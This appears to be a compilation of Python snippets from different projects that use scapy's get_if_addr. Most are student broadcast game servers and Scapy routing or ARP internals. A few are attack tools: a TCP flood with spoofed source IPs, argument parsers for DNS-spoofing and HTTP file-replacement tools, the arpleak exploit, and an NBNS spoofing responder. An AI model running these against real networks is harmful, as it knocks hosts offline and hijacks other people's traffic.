def __init__(self): self.conn_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # struct format of messages self.udp_format = 'IbH' self.magicCookie = 0xfeedbeef self.message_type = 0x2 # Enable broadcasting mode self.conn_udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) self.conn_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.ip = get_if_addr(Server.SUBNET) self.subnet_parts = self.ip.split('.') # concatenates subnet prefix with broadcast suffix self.broadcast_ip = self.subnet_parts[0] + '.' + self.subnet_parts[ 1] + '.' + Server.BROADCAST_SUFFIX server_address = (self.ip, Server.TCP_PORT) self.conn_tcp.bind(server_address) self.is_broadcasting = True self.is_palying = True self.game_groups = {} self.tcp_conns = [] self.group_1 = [] self.group_2 = [] self.group_A_counter = AtomicInteger() self.group_B_counter = AtomicInteger()
def make_route(self, host=None, # type: Optional[str] net=None, # type: Optional[str] gw=None, # type: Optional[str] dev=None, # type: Optional[str] metric=1, # type: int ): # type: (...) -> Tuple[int, int, str, str, str, int] from scapy.arch import get_if_addr if host is not None: thenet, msk = host, 32 elif net is not None: thenet, msk_b = net.split("/") msk = int(msk_b) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") # noqa: E501 if gw is None: gw = "0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev, ifaddr, _ = self.route(nhop) else: ifaddr = get_if_addr(dev) return (atol(thenet), itom(msk), gw, dev, ifaddr, metric)
def broadcast(increment, time_limit=TIME_LIMIT, interval=BROADCAST_INTERVAL): """ Broadcast an offer message to waiting clients on the specified port """ ip = '<broadcast>' if os.name == 'nt' else get_if_addr(VIRTUAL_NETWORK) print("Server started, listening on ip address", ip) start_time = time.time() udp_server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # Set broadcasting mode udp_server.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # Set a timeout udp_server.settimeout(0.3) packed_message = struct.pack('IBH', MAGIC_COOKIE, MESSAGE_TYPE, TCP_PORT+increment) while time.time() - start_time < time_limit: try: udp_server.sendto(packed_message, (ip, BROADCAST_PORT)) except Exception as e: print("Broadcasting error!", e) return False time.sleep(interval) udp_server.close() print('broadcast end') return True
def sniff(self): # type: () -> None from scapy.supersocket import StreamSocket ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssock.bind((get_if_addr(self.optsniff.get("iface", conf.iface)), self.port)) ssock.listen() sniffers = [] try: while True: clientsocket, address = ssock.accept() print("%s connected" % repr(address)) sock = StreamSocket(clientsocket, self.cls) optsniff = self.optsniff.copy() optsniff["prn"] = functools.partial(self.reply, send_function=sock.send, address=address) del optsniff["iface"] sniffer = AsyncSniffer(opened_socket=sock, **optsniff) sniffer.start() sniffers.append((sniffer, sock)) finally: for (sniffer, sock) in sniffers: try: sniffer.stop() except Exception: pass sock.close() self.close() ssock.close()
def __init__(self): self.sock = 0 self.UDP_PORT = 2120 self.UDP_IP = get_if_addr('eth1') self.address = (self.UDP_IP, self.UDP_PORT) self.server_addr = 0 self.server_socket = 0
def discover_local_device(self): self.sniff_mac_address = get_if_hwaddr(self.nic) p = threading.Thread(target=self.sniff_answer) p.setDaemon(True) p.start() # wait sniff start time.sleep(0.2) packet = Ether(src=self.sniff_mac_address, dst="ff:ff:ff:ff:ff:ff")/IP(src=get_if_addr(self.nic), dst="255.255.255.255")/UDP(sport=44818, dport=44818)/ENIPHeader(Command=0x0063) sendp(packet, iface=self.nic) self.sniff_finished.wait(self.timeout + 1)
def __init__(self, name): self.name = name self.client_ip = get_if_addr('eth1') self.udp_port = 13117 self.server_port = None self.server_ip = None self.beginTimer = None self.endTimer = None
def _get_gw_mac_address(self, ip: IPAddress, vlan: str = "") -> str: try: gw_ip = ipaddress.ip_address(ip.address) self.logger.debug("sending arp via egress: %s", self.config.non_nat_arp_egress_port) eth_mac_src = get_if_hwaddr(self.config.non_nat_arp_egress_port) psrc = "0.0.0.0" egress_port_ip = get_if_addr(self.config.non_nat_arp_egress_port) if egress_port_ip: psrc = egress_port_ip pkt = Ether(dst=ETHER_BROADCAST, src=eth_mac_src) if vlan.isdigit(): pkt /= Dot1Q(vlan=int(vlan)) pkt /= ARP(op="who-has", pdst=gw_ip, hwsrc=eth_mac_src, psrc=psrc) self.logger.debug("ARP Req pkt %s", pkt.show(dump=True)) res = srp1(pkt, type=ETH_P_ALL, iface=self.config.non_nat_arp_egress_port, timeout=1, verbose=0, nofilter=1, promisc=0) if res is not None: self.logger.debug("ARP Res pkt %s", res.show(dump=True)) if str(res[ARP].psrc) != str(gw_ip): self.logger.warning( "Unexpected IP in ARP response. expected: %s pkt: %s", str(gw_ip), res.show(dump=True)) return "" if vlan.isdigit(): if Dot1Q in res and str(res[Dot1Q].vlan) == vlan: mac = res[ARP].hwsrc else: self.logger.warning( "Unexpected vlan in ARP response. expected: %s pkt: %s", vlan, res.show(dump=True)) return "" else: mac = res[ARP].hwsrc return mac else: self.logger.debug("Got Null response") return "" except Scapy_Exception as ex: self.logger.warning("Error in probing Mac address: err %s", ex) return "" except ValueError: self.logger.warning("Invalid GW Ip address: [%s] or vlan %s", str(ip), vlan) return ""
def args_parser(): ''' Parser of command line argument ''' global TARGET, DOMAIN #Parser of command line arguments parser = argparse.ArgumentParser() #Initialization of needed arguments parser.add_argument( "-local", "-l", dest="local", help= "If specified, IPTABLES updated to run program on local. Otherwise it works on forward machine (e.g. with arp spoofing).", action='store_true') parser.add_argument("-interface", "-i", dest="interface", help="Name of the network interface of your machine") parser.add_argument("-domain", "-d", dest="domain", help="Domain on which DNS spoofing is performed") parser.add_argument( "-target", "-t", dest="target", help="IP address to substitute in DNS Record Route of specified domain" ) #Parse command line arguments args = parser.parse_args() #Check if the name of the network interface and the target domain have been specified if args.interface: #If specified interface, no specification of domain if args.target: parser.print_help() exit(1) else: TARGET = get_if_addr(args.interface) try: if args.target: TARGET = check_format_IP(args.target) except NoIPFormat: parser.print_help() exit(1) if args.domain: DOMAIN = args.domain return args.local
def make_reply(self, req): # type: (Packet) -> Packet resp = AnsweringMachineUtils.reverse_packet(req) resp[UDP].remove_payload() address = self.ip or get_if_addr(self.optsniff.get( "iface", conf.iface)) resp /= NBNSHeader() / NBNSQueryResponse( RR_NAME=self.ServerName or req.QUESTION_NAME, SUFFIX=req.SUFFIX, ADDR_ENTRY=[NBNS_ADD_ENTRY(NB_ADDRESS=address)]) resp.NAME_TRN_ID = req.NAME_TRN_ID return resp
def args_parser(): ''' Parser of command line argument ''' global MY_IP, TARGET, URL #Parser of command line arguments parser = argparse.ArgumentParser() #Initialization of needed arguments parser.add_argument( "-local", "-l", dest="local", help= "If specified, IPTABLES updated to run program on local. Otherwise it works on forward machine (e.g. with arp spoofing).", action='store_true') parser.add_argument("-interface", "-i", dest="interface", help="Name of the network interface of your machine") parser.add_argument("-target", "-t", dest="target", help="Target extension of files") parser.add_argument( "-url", dest="url", help="URL of files you want to use to replace response") parser.add_argument( "-https", dest="https", help= "If specified, it bypass HTTPS connection. Otherwise, it works on HTTP connection.", action='store_true') #Parse command line arguments args = parser.parse_args() #Check if the name of the network interface and the target domain have been specified if args.interface: MY_IP = get_if_addr(args.interface) if args.target: TARGET = '.' + args.target if args.url: URL = args.url return args.local, args.https
def arpleak(target, plen=255, hwlen=255, **kargs): # type: (str, int, int, **Any) -> Tuple[SndRcvList, PacketList] """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} # type: Dict[str, List[Ether]] for pkt in ARP(pdst=target): # We have to do some of Scapy's work since we mess with # important values iface = conf.route.route(pkt.pdst)[0] psrc = get_if_addr(iface) hwsrc = get_if_hwaddr(iface) pkt.plen = plen pkt.hwlen = hwlen if plen == 4: pkt.psrc = psrc else: pkt.psrc = inet_aton(psrc)[:plen] pkt.pdst = inet_aton(pkt.pdst)[:plen] if hwlen == 6: pkt.hwsrc = hwsrc else: pkt.hwsrc = mac2str(hwsrc)[:hwlen] pkts_iface.setdefault(iface, []).append( Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt ) ans, unans = SndRcvList(), PacketList(name="Unanswered") for iface, pkts in viewitems(pkts_iface): ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs) ans += ans_new unans += unans_new ans.listname = "Results" unans.listname = "Unanswered" for _, rcv in ans: if ARP not in rcv: continue rcv = rcv[ARP] psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc) if plen > 4 and len(psrc) > 4: print("psrc") hexdump(psrc[4:]) print() hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc) if hwlen > 6 and len(hwsrc) > 6: print("hwsrc") hexdump(hwsrc[6:]) print() return ans, unans
def broadcast(self): # start_time = time.time() # curr_time = start_time curr_time = 0 while (curr_time < 10): print(get_if_addr('eth1')) # while time.time() - curr_time == 1: curr_time += 1 offer_message = MESSAGE_STRUCT.pack( 0xfeedbeef, 2, SERVER_TCP_PORT) #check what is the third thing time.sleep(1) self.udp_server_socket.sendto( offer_message, ('172.1.255.255', BROADCASTING_PORT )) # TODO sent in broadcast + manage broadcast
def __init__(self): self.sock = socket(AF_INET, SOCK_DGRAM) # self.sock.bind(UDP_ADDR_TUPLE) self.SERVER_IP = get_if_addr( 'eth1') # TODO check how to get the server's ip # self.address = (self.UDP_IP, self.UDP_PORT) self.server_addr = 0 self.is_game_on = False self.team_names = [] self.groups = {'Group 1': {}, 'Group 2': {}} self.scores = {} # {name: score} self.tcp_server_socket = self.init_tcp() self.udp_server_socket = self.init_udp()
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's work since we mess with # important values iface = conf.route.route(pkt.pdst)[0] psrc = get_if_addr(iface) hwsrc = get_if_hwaddr(iface) pkt.plen = plen pkt.hwlen = hwlen if plen == 4: pkt.psrc = psrc else: pkt.psrc = inet_aton(psrc)[:plen] pkt.pdst = inet_aton(pkt.pdst)[:plen] if hwlen == 6: pkt.hwsrc = hwsrc else: pkt.hwsrc = mac2str(hwsrc)[:hwlen] pkts_iface.setdefault(iface, []).append( Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt ) ans, unans = SndRcvList(), PacketList(name="Unanswered") for iface, pkts in viewitems(pkts_iface): ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs) ans += ans_new unans += unans_new ans.listname = "Results" unans.listname = "Unanswered" for _, rcv in ans: if ARP not in rcv: continue rcv = rcv[ARP] psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc) if plen > 4 and len(psrc) > 4: print("psrc") hexdump(psrc[4:]) print() hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc) if hwlen > 6 and len(hwsrc) > 6: print("hwsrc") hexdump(hwsrc[6:]) print() return ans, unans
def __init__(self, name): self.name = name self.port_number = 2049 self.server_ip = get_if_addr('eth1') self.udp_port = 13117 self.server_socket = None self.group1 = [] # contains list of - group_name, connection_socket, client_address, key_counter self.group2 = [] self.min_score = 0 self.max_score = 0 self.best_team_ever = [] # variable used to count total time passed since the beginning of the game self.begin = None
def TCPserver(): ''' purpose : create TCP socket for server :return: TCP socket ''' global server_port serverHost = get_if_addr('eth1') serverPort = server_port # port number from work assignment # create TCP welcoming socket serverSocket = socket(AF_INET, SOCK_STREAM) serverSocket.bind((serverHost, serverPort)) # server begins listening for incoming TCP requests serverSocket.listen(1) serverSocket.setblocking(True) return serverSocket
def get_gw_mac_address(self, iface): for i in range(5): arp_req_ip_dst = self.gateways[iface] source_hw_addr = get_if_hwaddr(iface) arp_req = Ether(dst="ff:ff:ff:ff:ff:ff", src=source_hw_addr) / \ ARP(pdst=arp_req_ip_dst, psrc=get_if_addr(iface), hwsrc=source_hw_addr) ans, unans = sndrcv(self.sockets[iface], arp_req, timeout=1, verbose=0) if len(ans) < 1: continue return ans[0][1].src raise ConnectionError("ARP Resolution Failed for %s (%s)" % (self.gateways[iface], iface))
def make_route(self, host=None, net=None, gw=None, dev=None): if host is not None: thenet,msk = host,32 elif net is not None: thenet,msk = net.split("/") msk = int(msk) else: raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net") if gw is None: gw="0.0.0.0" if dev is None: if gw: nhop = gw else: nhop = thenet dev,ifaddr,x = self.route(nhop) else: ifaddr = get_if_addr(dev) return (atol(thenet), itom(msk), gw, dev, ifaddr)
def dos(target_ip, use_real_ip=True): port_list = [i for i in range(1, 65535)] count = 0 while True: if not use_real_ip: a = str(random.randint(1, 254)) b = str(random.randint(1, 254)) c = str(random.randint(1, 254)) d = str(random.randint(1, 254)) dot = '.' source_ip = a + dot + b + dot + c + dot + d else: source_ip = arch.get_if_addr('en0') for source_port in random.sample(port_list, 200): count += 1 IP1 = inet.IP(src=source_ip, dst=target_ip) TCP1 = inet.TCP(sport=source_port, dport=80) pkt = IP1 / TCP1 sendrecv.send(pkt, inter=0.001) print(count)
def __init__(self): self.server_socket_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) self.server_socket_udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # self.server_socket_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.tcp_port_number = 12000 self.udp_port = 13117 self.server_ip = get_if_addr(Server.SUBNET_NAME) self.udp_broad = "172.1.255.255" self.sever_buffer_size = 1024 self.clients_connections = {} self.client_names = [] self.group_one = {} self.group_two = {} self.counter_list = [0, 0] self.game_is_on = False self.first_connection = True self.all_time_players = {}
def _get_gw_mac_address(self, ip: IPv4Address) -> str: try: gw_ip = ipaddress.ip_address(ip.address) self.logger.debug("sending arp via egress: %s", self.config.non_nat_arp_egress_port) eth_mac_src = get_if_hwaddr(self.config.non_nat_arp_egress_port) psrc = "0.0.0.0" egress_port_ip = get_if_addr(self.config.non_nat_arp_egress_port) if egress_port_ip: psrc = egress_port_ip pkt = Ether(dst=ETHER_BROADCAST, src=eth_mac_src) pkt /= ARP(op="who-has", pdst=gw_ip, hwsrc=eth_mac_src, psrc=psrc) self.logger.debug("ARP Req pkt %s", pkt.show(dump=True)) res = srp1(pkt, type=ETH_P_ARP, iface=self.config.non_nat_arp_egress_port, timeout=1, verbose=0, nofilter=1, promisc=0) if res is not None: self.logger.debug("ARP Res pkt %s", res.show(dump=True)) mac = res[ARP].hwsrc return mac else: self.logger.debug("Got Null response") return "" except Scapy_Exception as ex: self.logger.warning("Error in probing Mac address: err %s", ex) return "" except ValueError: self.logger.warning("Invalid GW Ip address: [%s]", ip) return ""
def read_routes(): if SOLARIS: f=os.popen("netstat -rvn") # -f inet elif FREEBSD: f=os.popen("netstat -rnW") # -W to handle long interface names else: f=os.popen("netstat -rn") # -f inet ok = 0 mtu_present = False prio_present = False routes = [] pending_if = [] for l in f.readlines(): if not l: break l = l.strip() if l.find("----") >= 0: # a separation line continue if not ok: if l.find("Destination") >= 0: ok = 1 mtu_present = "Mtu" in l prio_present = "Prio" in l refs_present = "Refs" in l continue if not l: break if SOLARIS: lspl = l.split() if len(lspl) == 10: dest,mask,gw,netif,mxfrg,rtt,ref,flg = lspl[:8] else: # missing interface dest,mask,gw,mxfrg,rtt,ref,flg = lspl[:7] netif=None else: rt = l.split() dest,gw,flg = rt[:3] netif = rt[4 + mtu_present + prio_present + refs_present] if flg.find("Lc") >= 0: continue if dest == "default": dest = 0 netmask = 0 else: if SOLARIS: netmask = scapy.utils.atol(mask) elif "/" in dest: dest,netmask = dest.split("/") netmask = scapy.utils.itom(int(netmask)) else: netmask = scapy.utils.itom((dest.count(".") + 1) * 8) dest += ".0"*(3-dest.count(".")) dest = scapy.utils.atol(dest) # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 if not "G" in flg: gw = '0.0.0.0' if netif is not None: try: ifaddr = get_if_addr(netif) routes.append((dest,netmask, gw, netif, ifaddr, metric)) except OSError as exc: if exc.message == 'Device not configured': # This means the interface name is probably truncated by # netstat -nr. We attempt to guess it's name and if not we # ignore it. guessed_netif = _guess_iface_name(netif) if guessed_netif is not None: ifaddr = get_if_addr(guessed_netif) routes.append((dest, netmask, gw, guessed_netif, ifaddr, metric)) else: warning("Could not guess partial interface name: %s", netif) else: raise else: pending_if.append((dest,netmask,gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest,netmask,gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask,gw_if,gw_if_addr, = 0,None,None for rtdst,rtmask,_,rtif,rtaddr in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr # XXX: TODO add metrics metric = 1 if gw_if: routes.append((dest,netmask, gw, gw_if, gw_if_addr, metric)) else: warning("Did not find output interface to reach gateway %s", gw) return routes
def read_routes(): if SOLARIS: f = os.popen("netstat -rvn") # -f inet elif FREEBSD: f = os.popen("netstat -rnW") # -W to handle long interface names else: f = os.popen("netstat -rn") # -f inet ok = 0 mtu_present = False prio_present = False routes = [] pending_if = [] for line in f.readlines(): if not line: break line = line.strip() if line.find("----") >= 0: # a separation line continue if not ok: if line.find("Destination") >= 0: ok = 1 mtu_present = "Mtu" in line prio_present = "Prio" in line refs_present = "Refs" in line continue if not line: break if SOLARIS: lspl = line.split() if len(lspl) == 10: dest, mask, gw, netif, mxfrg, rtt, ref, flg = lspl[:8] else: # missing interface dest, mask, gw, mxfrg, rtt, ref, flg = lspl[:7] netif = None else: rt = line.split() dest, gw, flg = rt[:3] locked = OPENBSD and rt[6] == "L" netif = rt[4 + mtu_present + prio_present + refs_present + locked] if flg.find("Lc") >= 0: continue if dest == "default": dest = 0 netmask = 0 else: if SOLARIS: netmask = scapy.utils.atol(mask) elif "/" in dest: dest, netmask = dest.split("/") netmask = scapy.utils.itom(int(netmask)) else: netmask = scapy.utils.itom((dest.count(".") + 1) * 8) dest += ".0" * (3 - dest.count(".")) dest = scapy.utils.atol(dest) # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 if "G" not in flg: gw = '0.0.0.0' if netif is not None: try: ifaddr = get_if_addr(netif) routes.append((dest, netmask, gw, netif, ifaddr, metric)) except OSError as exc: if exc.message == 'Device not configured': # This means the interface name is probably truncated by # netstat -nr. We attempt to guess it's name and if not we # ignore it. guessed_netif = _guess_iface_name(netif) if guessed_netif is not None: ifaddr = get_if_addr(guessed_netif) routes.append((dest, netmask, gw, guessed_netif, ifaddr, metric)) # noqa: E501 else: warning("Could not guess partial interface name: %s", netif) # noqa: E501 else: raise else: pending_if.append((dest, netmask, gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest, netmask, gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask, gw_if, gw_if_addr, = 0, None, None for rtdst, rtmask, _, rtif, rtaddr in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr # XXX: TODO add metrics metric = 1 if gw_if: routes.append((dest, netmask, gw, gw_if, gw_if_addr, metric)) else: warning("Did not find output interface to reach gateway %s", gw) return routes
def print_interfaces(): print("[*] Available interfaces:") for iface in get_if_list(): print("[ ]\t%s (%s)" % (iface, get_if_addr(iface)))
import threading import socket from scapy.arch import get_if_addr import time import struct import random from logAndColor import * SERVER_UDP_PORT = 13117 SERVER_TCP_PORT = 0 SERVER_IP = get_if_addr('eth1') BROADCAST_IP = SERVER_IP[:-5] + '.255.255' WAITING_FOR_CLIENT_COUNT = 10 # total time for the "waiting for client" mode # WAITING_FOR_CLIENT_EXTRA = 0.2 # additional time to catch last requests GAME_MODE_COUNT = 10 # total time for the game mode CYCLE_WAIT = 10 UDP_TIMEOUT = 0.2 # timeout for UDP server CALC_WAIT = 0.02 # allows for calculation of the high score for the various client threads MAGIC_COOKIE = 0xfeedbeef # UDP header cookie TYPE = 0x2 # UDP messagetype PACKET_FORMAT = 'IBH' # the format for the UDP broadcast messages player_sockets = { } # player sockets pool (dictionary of format name:{socket : <val>, thread : <val>, status : <val>}) threads = [] # TCP client threads pool player_sockets_grouping_list = [] start_game_event = threading.Event() # signify threads to start the game result_event = threading.Event( ) # signify threads that the results are calculated
import socket import time import os from _thread import * import random import struct import threading #from scapy.arch import get_if_addr # for ssh from scapy.arch import get_if_addr ServerSocket = 0 MSG_LEN = 1024 FORMAT = 'utf-8' SSH_HOST = get_if_addr("eth1") SSH_PORT = 2116 portUDP = 44444 sendUDP = 13117 ThreadCount = 0 group1 = [] group2 = [] portToGroup = {} clients = {} choose_team = 0 counter1 = 0 counter2 = 0 lock = threading.Lock() """ this function is in charge of splitting the the clients into groups and staring the game """
def read_routes(): # type: () -> List[Tuple[int, int, str, str, str, int]] """Return a list of IPv4 routes than can be used by Scapy. This function parses netstat. """ if SOLARIS: f = os.popen("netstat -rvn -f inet") elif FREEBSD: f = os.popen("netstat -rnW -f inet") # -W to show long interface names else: f = os.popen("netstat -rn -f inet") ok = 0 mtu_present = False prio_present = False refs_present = False use_present = False routes = [] # type: List[Tuple[int, int, str, str, str, int]] pending_if = [] # type: List[Tuple[int, int, str]] for line in f.readlines(): if not line: break line = line.strip().lower() if line.find("----") >= 0: # a separation line continue if not ok: if line.find("destination") >= 0: ok = 1 mtu_present = "mtu" in line prio_present = "prio" in line refs_present = "ref" in line # There is no s on Solaris use_present = "use" in line or "nhop" in line continue if not line: break rt = line.split() if SOLARIS: dest_, netmask_, gw, netif = rt[:4] flg = rt[4 + mtu_present + refs_present] else: dest_, gw, flg = rt[:3] locked = OPENBSD and rt[6] == "l" offset = mtu_present + prio_present + refs_present + locked offset += use_present netif = rt[3 + offset] if flg.find("lc") >= 0: continue elif dest_ == "default": dest = 0 netmask = 0 elif SOLARIS: dest = scapy.utils.atol(dest_) netmask = scapy.utils.atol(netmask_) else: if "/" in dest_: dest_, netmask_ = dest_.split("/") netmask = scapy.utils.itom(int(netmask_)) else: netmask = scapy.utils.itom((dest_.count(".") + 1) * 8) dest_ += ".0" * (3 - dest_.count(".")) dest = scapy.utils.atol(dest_) # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 if "g" not in flg: gw = '0.0.0.0' if netif is not None: from scapy.arch import get_if_addr try: ifaddr = get_if_addr(netif) routes.append((dest, netmask, gw, netif, ifaddr, metric)) except OSError as exc: if 'Device not configured' in str(exc): # This means the interface name is probably truncated by # netstat -nr. We attempt to guess it's name and if not we # ignore it. guessed_netif = _guess_iface_name(netif) if guessed_netif is not None: ifaddr = get_if_addr(guessed_netif) routes.append((dest, netmask, gw, guessed_netif, ifaddr, metric)) # noqa: E501 else: log_runtime.info( "Could not guess partial interface name: %s", netif) else: raise else: pending_if.append((dest, netmask, gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest, netmask, gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask, gw_if, gw_if_addr = 0, None, None for rtdst, rtmask, _, rtif, rtaddr, _ in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr # XXX: TODO add metrics metric = 1 if gw_if and gw_if_addr: routes.append((dest, netmask, gw, gw_if, gw_if_addr, metric)) else: warning("Did not find output interface to reach gateway %s", gw) return routes
def check_interface(self, interface): try: if interface not in self.gateways: self.log.debug("No gateway fetched for %s" % interface) return False if hasattr(self.ipdb.interfaces[interface], "carrier" ) and self.ipdb.interfaces[interface].carrier == 0: return False count = self.configuration["interfaces"][interface].get( "count", DEFAULT_COUNT) max_lost = self.configuration["interfaces"][interface].get( "max_lost", DEFAULT_MAX_LOST) max_delay = self.configuration["interfaces"][interface].get( "max_delay", DEFAULT_MAX_DELAY) delays = [] id = random.randint(1, 65535) if_addr = get_if_addr(interface) if self.use_l2_packet(interface): try: mac_address_gw = self.get_gw_mac_address(interface) except ConnectionError as ex: self.log.error(ex.args[0]) return False if_hw_addr = get_if_hwaddr(interface) header = Ether(dst=mac_address_gw, src=if_hw_addr) else: # if using an L3 socket for this interface -> # add scapy route to route L3 traffic on the probed interface # the route will not be added to the kernel routing table scapyconf.route.add(net='%s/32' % self.configuration["host"], dev=interface) header = None for i in range(count): if self.exited.is_set(): return if header: packet = header / \ IP(src=if_addr, dst=self.configuration["host"]) / \ ICMP(id=id, seq=i + 1) else: packet = IP(src=if_addr, dst=self.configuration["host"]) / \ ICMP(id=id, seq=i + 1) ans, unans = sndrcv(self.sockets[interface], packet, timeout=1, verbose=0) # self.log.debug("Ping sent") if len(ans) > 0: if ans[0][1][ICMP].type == 0 and ans[0][1][ICMP].id == id: rx = ans[0][1] tx = ans[0][0] delta = rx.time - tx.sent_time delays.append(delta) else: self.log.debug( "[%s] Missed ping seq=%s - ICMP Recv Type: %s (must be 0) - Id: %s (must be %s) " % (interface, i + 1, ans[0][1][ICMP].type, ans[0][1][ICMP].id, id)) else: self.log.debug("[%s] Missed ping id=%s seq=%s - Timeout" % (interface, id, i + 1)) self.exited.wait(timeout=DEFAULT_DELAY / 1000) # if using an L3 socket for this interface -> remove scapy route if header is None: scapyconf.route.delt(net='%s/32' % self.configuration["host"], dev=interface) if len(delays) == 0: return False ok_count = len(delays) delay_avg = sum(delays) / ok_count is_ok = (count - ok_count) <= max_lost and (delay_avg * 1000) < max_delay self.log.debug( "[%s %s] Ping %s via %s result - lost: %s/%s, delay: %0.0f ms" % (interface, "OK" if is_ok else "FAIL", self.configuration["host"], self.gateways[interface], (count - ok_count), count, delay_avg * 1000)) return is_ok except PermissionError as pe: raise pe except Exception as ex: self.log.exception("check_interface error: ") return False
import struct from threading import Thread, Lock import time from scapy.arch import get_if_addr # constants buff_len = 1024 MAGIC_COOKIE = 0xfeedbeef MESSAGE_TYPE = 0x2 DEST_PORT = 13117 # global variables TEAMS_THREADS_GROUP1 = [] # (team_thread, team_num, team_name, connection_socket) TEAMS_THREADS_GROUP2 = [] COUNTER_GROUP1 = 0 COUNTER_GROUP2 = 0 SOURCE_IP = get_if_addr('eth1') # ip development network # socket.gethostbyname(socket.gethostname()) SOURCE_PORT = 2066 lock = Lock() def server_main(): print("Server started, listening on IP address {ip}".format(ip=SOURCE_IP)) server_tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_tcp_socket.bind((SOURCE_IP, SOURCE_PORT)) while True: broadcast_offer_thread = Thread(target=sending_offers, args=()) connect_client_thread = Thread(target=connecting_clients, args=(server_tcp_socket,)) connect_client_thread.start() broadcast_offer_thread.start() broadcast_offer_thread.join() connect_client_thread.join()
while self.num_participants > 0: time.sleep(1) s.close() self.pretty_print("Game over, sending out offer requests...") def startBroadcasting(self): # Starts Broadcasting via a thread. thread = threading.Thread(target=self.broadcast) thread.start() def broadcast(self): start_time = time.time() server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # Enable port reusage server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Enable broadcasting mode server.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) message = struct.pack(">IbH", 0xfeedbeef, 0x2, self.port) broadcastIP = '.'.join(self.ip.split('.')[:2]) + '.255.255' while time.time() - start_time < 10: server.sendto(message, (broadcastIP, self.broadcastPort)) time.sleep(1) self.start_game = True Server(get_if_addr('eth1'), 2025, 13117)
import socket import sys import os import time import getch from scapy.arch import get_if_addr from colorama import * # this is our ip address ip = get_if_addr('eth1') port_general = 13117 our_port = 2084 general_UDP_network = "172.1.255.255" #this function manages the game mode in the client def start_game(TCP_socket): #2048 is max number of bytes to receive at once, no to be confused with our port message = TCP_socket.recv(2048) if not message: return print(message.decode('ascii')) now = time.time() stop = now + 10 while time.time() < stop: c = getch.getch() if time.time() < stop: TCP_socket.send(c.encode('ascii')) message = TCP_socket.recv(2048) if not message: